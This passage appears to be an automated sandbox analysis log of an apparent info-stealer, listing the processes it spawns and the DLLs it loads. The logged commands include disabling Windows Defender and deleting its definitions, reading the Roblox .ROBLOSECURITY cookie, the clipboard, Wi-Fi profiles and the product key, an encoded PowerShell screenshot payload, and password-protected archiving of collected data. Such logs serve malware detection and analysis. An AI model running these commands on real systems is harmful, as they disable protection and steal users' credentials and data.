GkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA594.tmp" "c:\Users\user\AppData\Local\Temp\bohkan2x\CSC24344491B9A34B60B194FE692FA1E0E5.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
